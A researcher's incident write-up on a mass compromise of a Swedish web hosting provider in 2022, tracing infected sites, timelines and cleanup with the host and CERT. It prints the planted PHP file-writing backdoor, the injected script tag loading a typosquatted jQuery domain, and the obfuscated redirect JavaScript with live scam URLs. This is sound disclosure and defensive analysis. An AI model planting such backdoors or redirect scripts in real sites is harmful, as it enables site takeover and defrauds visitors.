WhiteRabbit Hosting Hack

Written by Benjamin Eriksson

03 November 2022

(Last edit: 2023-01-30 21:00, first version 2022-11-03 18:12)

Summary of WhiteRabbit attack

• Major web hosting provider has been hacked (confirmed by CTO over mail).
• 700 confirmed infected websites from my scan. Probably many more as my scan is quite limited.
• Spanning nine different Autonomous Systems but mostly (96%) from one hosting provider.
• Attackers gained RCE capabilities on all these websites.
• Most evidence point to that the attacked start around October 17th (2022-10-17).
• Each infected website:
• Will redirect visitors (under some conditions) to spam and scam websites.
• PHP backdoors were also added to the websites allowing the attackers to regain full control over the website, even if the web hosting provider fix the initial vulnerability.
• The name WhiteRabbit refers to my website WhiteRabbit[REDACTED].se that was hacked in this attack. Thanks to Andrei for coming up with the name!
• As of 2023-01-30 I have stopped tracking this attack. Most infected websites are cleaned up and two of the three attacker domains are inoperable. Initial vulnerability is still unknown.

Intro

I was checking on one of my websites today (not this one), and to my horror found a new PHP backdoor and updates to my index page. At first I thought I had messed something up and simply been pwned, I have some very sketchy honeypots so it wouldn't be too crazy. But as I was checking the access logs I didn't see anything out of the ordinary, and not a single request had been made to the backdoor. At that point I checked my other website from the same web host and realized the exact same file had been added and same changes to the index had been made. These sites are on different cPanel accounts so it shouldn't be possible to write between them. This is when I started to believe that maybe the entire web hosting company had been hacked... (At the time of writing I don't know the extent but many other sites from this host seem affected).

I quickly contacted support and they confirmed that my website had been hacked and someone uploaded the malicious files. They couldn't explain how. After probing a bit more they mentioned wp-config.php, wp-json.php and "install or update plugins". All of this sounds related to WordPress but the scary thing is that I do not have wordpress on either site. The support still couldn't say anything about other users' websites, fair enough. But while talking to them I found another website that they host that was also infected, confirming it was not only my website!. They simply said "The website [REDACTED] is secure now.". Nothing else. I found another infected site and at this point the support answered "You can also do it yourself." and ended the conversation. From this it doesn't seem like they care about this on a company level but are happy to help individuals.

The attack

I'm still trying to figure out what the initial vulnerability was and then how it could spread for, what I assume, is a vulnerable user to my secure application.

Aftermath

PHP backdoor

The following PHP code is added in the file named cache.class.php (MD5: 9365a42d801e5bcd26005dab4575f37f). Also note that the creation date for this file was 2022-10-17 15:44 for both files. Which either means automated attack or that the attacker changes the timestamp after creation. If this is true for all files it might help finding and deleting these files.

<?php
if(!empty($_POST['a'])) {
        $f = fopen('./'.$_POST['b'], 'w');
        fwrite($f, file_get_contents($_POST['a']));
        fclose($f);
}
?>

This is a simple backdoor which allows anyone to create a new file and add arbitrary content. By adding PHP code this can result in RCE. Note that file_get_contents accepts URLs and can read remote files. You can disable this by disabling allow_url_fopen, however, in this case it is enabled.

I also uploaded it to VirusTotal cache.class.php (0/61). Now most antiviruses do not focus on PHP malware but sometimes it gets marked. However, here not a single AV detected it. Although, THOR APT scanner did detect it with the webshell_php_writer YARA rule. I was a bit surprised that I was the first one to upload it as it looks quite generic. Still, interesting that they don't use an off-the-shelf backdoor.

In the case of my website this was added in the public_html directory. Making it accessible for anyone.

New login in .lastlogin

Around the same time as the attack I can see a login from the following ip.

37.19.218.23 # 2022-10-17 15:44:40 +0200

According to IpInfo.io, this is a NordVPN connection from a Ukrainian server. This IP has been used in attacks before according to AbuseIpDB but nothing as sophisticated as this, judging from the comments.

New file /etc/cacheid

A new file was also created in the cPanel directory etc/ (I assume the absolute path would be /home/user/etc/ but I'm not sure how cPanel works). In this directory the file cacheid is created, with the same timestamp as the PHP backdoor, i.e. 2022-10-17 15:44. The content of the file is a single number: 1666014281. This seems to be a unix timestamp containing the exact timestamp for these files, that is: Mon Oct 17 2022 13:44:41 GMT+0000.

New files in .cpanel/caches/config/

This one is very strange, in the directory .cpanel/caches there are two files with the same timestamp as the malicious code. I don't know if these are new files or updated old files. The names are _etc_cpanel_ea4_paths.conf___default_equal_space_seperated_config and _etc_cpupdate.conf___default. Content-wise they look like normal JSON-encoded config files. Nothing strange from what I can tell.

Emptied error_logs

Every directory and sub-directories with error_log files have been emptied. Not sure if this is intentional to hide their tracks or a side-effect of the exploit.

Changes to index

The code below was added to the end of my index.php file:

<?php

echo "<script type=\"text/javascript\" src=\"https://jpuery-ui.icu/jquery-ui.js\"></script>";
?>

As we can see this loads the script jquery-ui.js from the domain https://jpuery-ui.icu. Note that this looks like the real jQuery UI page: https://jqueryui.com/.

Here there are actually a few versions, this might not be a complete list!

• https://jpuery-ui.icu/jquery-ui.js (Cloudflare Phishing warning as of 2022-11-04 18:35:02 ± 1 minute UTC)
• Creation Date: 2022-10-16T13:13:03.0Z (WHOIS)
• First Wayback Machine snapshot 2022-10-16 22:47:37.
• https://jquery-ui.icu/jquery-ui.js
• Creation Date: 2022-10-16T13:13:03.0Z (WHOIS)
• First Wayback Machine snapshot 2022-10-17 00:28:26.
• https://jqueryuii.icu/jquery-ui.js (No DNS record as of 2022-12-12)
• Creation Date: 2022-10-16T13:13:03.0Z (WHOIS)
• First Wayback Machine snapshot 2022-10-16 23:48:48.

While the domains differ, the content seem to be the same between them, but change over time!. However, only the hard-coded URL seem to change.

/*! jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */
/*! jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */
function checkDate(){var date=new Date().toLocaleDateString();if(localStorage.dtime==date)return false;localStorage.dtime=date;return true}function fetchDate(){if(!checkDate())return false;var s=document.referrer;if(s.indexOf("google")>0||s.indexOf("bing")>0||s.indexOf("aol")>0||s.indexOf("yahoo")>0||s.indexOf("yandex")>0){click_r = false; window.addEventListener("load",function(){document.addEventListener("click", function(){ if(click_r == false) window.open("https://lindcanthetaneedta.cf/help/?23211651614614&sub_id_1=Tracker"); click_r = true;});});}}fetchDate();
/*! jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

As we can see, the core functionality is neatly hidden between a lot of commented code. Let's beautify and see what it does:

function checkDate() {
    var date = new Date().toLocaleDateString();
    if (localStorage.dtime == date) return false;
    localStorage.dtime = date;
    return true
}

function fetchDate() {
    if (!checkDate()) return false;
    var s = document.referrer;
    if (s.indexOf("google") > 0 || s.indexOf("bing") > 0 || s.indexOf("aol") > 0 || s.indexOf("yahoo") > 0 || s.indexOf("yandex") > 0) {
        click_r = false;
        window.addEventListener("load", function() {
            document.addEventListener("click", function() {
                if (click_r == false) window.open("https://lindcanthetaneedta.cf/help/?23211651614614&sub_id_1=Tracker");
                click_r = true;
            });
        });
    }
}
fetchDate();

Before diving into the details we can see that an interesting sink is the window.open(URL); part. If we follow the link https://lindcanthetaneedta.cf/help/?23211651614614&sub_id_1=Tracker we end up at: https://meadimarkt.shop/?subid=7120-11827-202211032218072efc1 I.e. the domain https://meadimarkt.shop. Which, to me, looks like a phishing version of the real MediaMarkt.de. It is not always fake MediaMarkt, for some links I also got Amazon gift cards, free iPhones, etc. The attackers can most likely dynamically change where the servers should redirect the user.

At closer inspection it looks like these URLs will redirect victims dynamically based on both location/IP and cookies. For example, I checked the following URL with five different IPs using a VPN. Below I use curl and extract the location, which decides where the user is redirected.

No VPN
curl -I 'https://ccavcompconlaves.gq/help/?23211651614614&sub_id_1=Tracker'
location: https://meadimarkt.shop/?subid=7120-11827-2022110521495176243

Stockholm VPN
curl -I 'https://ccavcompconlaves.gq/help/?23211651614614&sub_id_1=Tracker'
location: https://meadimarkt.shop/?subid=7120-11827-20221105215044a0869

London VPN
curl -I 'https://ccavcompconlaves.gq/help/?23211651614614&sub_id_1=Tracker'
location: http://the-best-cams.life//?u=bt1k60t&o=xqt63qn&t=cid:7120&cid=7120-9872-202211052151364a7bc5

US WEST VPN
curl -I 'https://ccavcompconlaves.gq/help/?23211651614614&sub_id_1=Tracker'
location: http://the-best-cams.life//?u=bt1k60t&o=xqt63qn&t=cid:7120&cid=7120-9872-202211052154133b0028

Ukraine VPN
curl -I 'https://ccavcompconlaves.gq/help/?23211651614614&sub_id_1=Tracker'
location: http://the-best-cams.life//?u=bt1k60t&o=xqt63qn&t=cid:7120&cid=7120-9872-20221105215453c2c70f


Kazakhstan VPN
curl -I 'https://ccavcompconlaves.gq/help/?23211651614614&sub_id_1=Tracker'
location: http://the-best-cams.life//?u=bt1k60t&o=xqt63qn&t=cid:7120&cid=7120-9872-202211052155474e562e

For cookies, if I open https://ccavcompconlaves.gq/help/?23211651614614&sub_id_1=Tracker in a private window it will redirect me to the fake MediaMarkt. Additionally I also get a cookie for ccavcompconlaves.gq.

00831={"streams":{"11827":1667675578},"campaigns":{"7120":1667675578},"time":1667675578}

00831={"streams":{"11827":1667675886,"11838":1667675894},"campaigns":{"7120":1667675886},"time":1667675894}

00831={"streams":{"11827":1667675886,"11838":1667675894,"11840":1667675994},"campaigns":{"7120":1667675886},"time":1667675994}

Once again, there are many different versions of the URL in the malicious JS-code, here are some:

• https://memodanoun.tk/help/?23211651614614&sub_id_1=Tracker
• https://langdichec.tk/help/?23211651614614&sub_id_1=Tracker
• https://lindcanthetaneedta.cf/help/?23211651614614&sub_id_1=Tracker
• https://rilibcauhever.tk/help/?23211651614614&sub_id_1=Tracker
• https://memodanoun.tk/help/?23211651614614&sub_id_1=Tracker
• https://rounresebarattfic.gq/help/?23211651614614&sub_id_1=Tracker
• https://refeasrahal.ga/help/?23211651614614&sub_id_1=Tracker

Based on my minute-resolution crawl it seems to update every 10 minutes

From 2022-11-03 19:33:23 to 2022-11-03 19:45:06
From 2022-11-03 19:23:09 to 2022-11-03 19:33:23
From 2022-11-03 19:12:03 to 2022-11-03 19:23:09
From 2022-11-03 19:10:23 to 2022-11-03 19:12:03

Back to the code and the attack. Ok so what is actually happening when a user visits an infected website? First checkDate() ensures that the redirect only happens once per day. Note that this is not per 24h, but rather comparing the current date. If the user doesn't have a saved date then the code will save the current date in the user's localStoraage.

Next, it checks the document.referrer to ensure that the user came from a search engine. Specifically, it checks for Google, Bing, AOL, Yahoo, Yandex.

Finally, it adds an click event listener on the entire window, which when the user clicks anything on the page will trigger window.open and send the user to the attacker controlled server, where it can be redirected the user to various online scams.

Motivation, I think this is quite a clever attack. The click event listener is important because modern browser will block window.open (popups) until the user interacts with the page, e.g. by clicking. Further, ensuring the attack only happens once per day makes debugging much harder. Additionally, the fact that the victim must come from a search engine means direct inspection by someone will not trigger the attack.

Other mentions on the Internet

Still, I haven't found anyone analyzing this problem or finding how it works. Below are the mentions I've found on the Internet so far.

July 16th. Russian blogger, Заражения веб-сайтов под управлением Bitrix (Eng. Infection of websites managed by Bitrix), mentions similar URL (otrasoper.ga/help/?23211651614614) used in the JavaScript code in this attack. In that case, CVE-2022-27228 was the exploited vulnerability. I don't think this is the case here. But perhaps the group behind the attack is the same.

October 18th. Someone made a post on a WordPress forum: White space – garbage in wpconfig. Still no explanation what happened.

October 18th. Facebook post in Swedish WordPress group (public group) Skadlig webbplats :jqueryuii.icu skadad länk.. People seem to suspect it's malicious.

October 22th. Pastebin post containing system information, including the URL to the malicious JavaScript file. system-info-22-10-2022. Note that some text is in Swedish.

October 24th. More people complaining about broken WordPress sites, no mention of maliciousness or hacking. Kan inte logga in på admin sidan på min domän.

October 24th. Niclas on security.stackexchange.com made a post back but sadly it is removed. Cached version is availabe: Suspicious php malware that reads from http://jpuery.icu? .

October 25th, Discussion opencart forum, however, no one there seem to realize it's malicious code. JSON Syntax error suddenly appear

First occurrence of attack

Here I'll try to find when the first signs of this attack appeared online.

I noted my website was hacked on 2022-11-03. The file creation date on the malicious file was October 17 but since this can be changed I don't want to trust this.

I've been scanning other Swedish websites and found some other infected websites, using these we can check WayBackMachine for signs of infection.

Victim 1 - Earliest infection Oct 23th. Oldest safe Jan 27th.
Range for possible first infection: 2022-01-27 - 2022-10-23

Victim 2 - Latest snapshot Sep 11th, not infected at that point.
Range for possible first infection: 2022-09-11 - 2022-10-23

Double infection

I do see signs of "double infection" on some victims, for example one victim page has the following HTML in the beginning:

<script type="text/javascript" src="https://jquery-ui.icu/jquery-ui.js"></script><script type="text/javascript" src="https://jpuery-ui.icu/jquery-ui.js"></script>

I assume the attackers made a mistake in their code to check if a victim has already been infected. Common in these cases is that the domains are always different. In the case above the different ones are jquery-ui.icu and jpuery-ui.icu, note Q in the first and P in the second.

This could also be related to both index.php and wp-config.php being infected but as I did not have any WordPress sites this is pure speculation.

Scale

It's hard to estimate the scale of the attack. So far I've found 700 (as of 2022-11-22) unique Swedish infected websites. I focus Swedish website for two reasons, I have methods to scan them and I believe the attack targeted a Swedish web hosting provider.

Huge thanks to IPInfo for lending me a full access API key. When I started I pretty much randomly scanned websites. But with IPInfo I could both find all IPs belonging to the hosting provider and then also query for all domains hosted on this IP. This made my scan orders of magnitude more efficient!

(2022-11-05 10:54). Some of these infected sites are now being healed and the malicious JavaScript removed. I do not know if it is the website owners or the web hosting provider that is fixing these websites.

Other hosting providers

Almost all (96%) of the infected websites are from one single hosting provider (or at least autonomous system). However, there are other hosting providers where I've found just one or two infected websites.

I contacted one of the other providers and they quickly fixed the infected website. After a few days they came back and said that, while they can't give any info about their customers, I should check the DNS history for the domain. This can, for example, be done using: Complete DNS. And indeed, at the beginning of November, this customer had moved from the attacked web hosting provider to this new one, bringing with it all the infected files. Luckily, the malicious code does not spread, as a biological virus would, so while more hosting providers are now affected, the total number of websites remains the same.

Using the same method of checking DNS history I was also able to confirmed that this was the case for another website too. Thus, it still seems like only one provider was hacked but the customers are moving around with the infected files.

The healing process

Here I'll try to track events related to thwarting or stopping the attacks and signs of infected websites no longer being infected

While I scan for new infected websites I also periodically check the infected ones I've found to see if they heal. "Healed" might be a strong word as some of these go from infected to simply returning 403 Forbidden, which is more akin to the virus killing it's host.

On November 7th, 11 websites went from infected to returning 403 Forbidden (I checked from multiple IPs).

On November 9th, my scanner started getting hit by BitNinja.IO challenges so I can no longer scan for this. All right then, keep your secrets. I will try to do a single sweep of all infected websites on a different IP/machine to get a single snapshot of how many might be healed.

At 23:50 on November 10 (2022-11-10 23:50 ± 1 minute UTC), they removed my cache.class.php and wp-json.php PHP backdoors from my website. I was keeping a benign versions of them that logged all requests. The benign version still had the malicious code in it (but commented out) so I understand if their automatic script mistook it for the real backdoor.

All index.php files (even in sub-directories) also got their timestamps updated to 2022-11-10 23:50. I didn't notice any changes in content on my index pages but I assume they removed, or just looked for, the fake jQuery scripts. Strangely enough this only happened on one of my two hacked websites. However, the other website (that didn't receive any changes to index.php) did not have a PHP backdoor honeypot.

After multiple emails to the CTO, and other hosting providers, we are now (2022-11-25) down to only five infected websites (that I can find), from the total of 700.

My Timeline (all in UTC)

2022-11-03 11:30 - I detect two of my websites had been infected with the same malicious code

2022-11-03 13:30 - Contact my web hosting providers technical support. They confirm I've been hacked.

2022-11-03 14:10 - Find another infected website that is not mine. Support also fixes this website.

2022-11-04 07:00 - Detected at least 20 different infected Swedish websites.

2022-11-04 08:00 - Contacted Swedish CERT.se. They said that they will investigate the problem.

2022-11-06 09:00 - Contacted the web hosting provider where many of the infected sites are hosted.

2022-11-07 14:00 - Web hosting provider confirms the attack and that they are working hard on solving it. They claim it is a new and undocumented vulnerability being exploited.

2022-11-10 16:40 - Contacted the web hosting provider CTO asking if the vulnerability is internal or in public software, e.g. WHM or cPanel, and for a concrete timeline for when they will be informing customers.

2022-11-10 23:50 - PHP Backdoor removed from one of my websites. First direct sign of web hosting provider autonomously healing infected websites.

2022-11-14 13:10 - Asked CERT for updates. They had not gotten any answers from the hosting provider and recommended to wait.

2022-11-16 15:00 - Contacted CTO again asking for updates.

• They claimed to have "cleared all infected sites".
• Narrowed the initial vulnerability down to Apache or cPanel but are not sure yet.
• Claimed to have informed "most" customers.

2022-11-17 19:00 - Only 23 of the 270 domains I sent on the previous day are still infected. Great progress! I do not know why these were missed. In any case, it shows the importance for us as external security researchers to collect data and help in the fight!

2022-11-22 21:00 - Sent a batch of 25 more infected websites to the CTO. They were quickly fixed. Still no idea about the vulnerability.

Write your comment!

Comments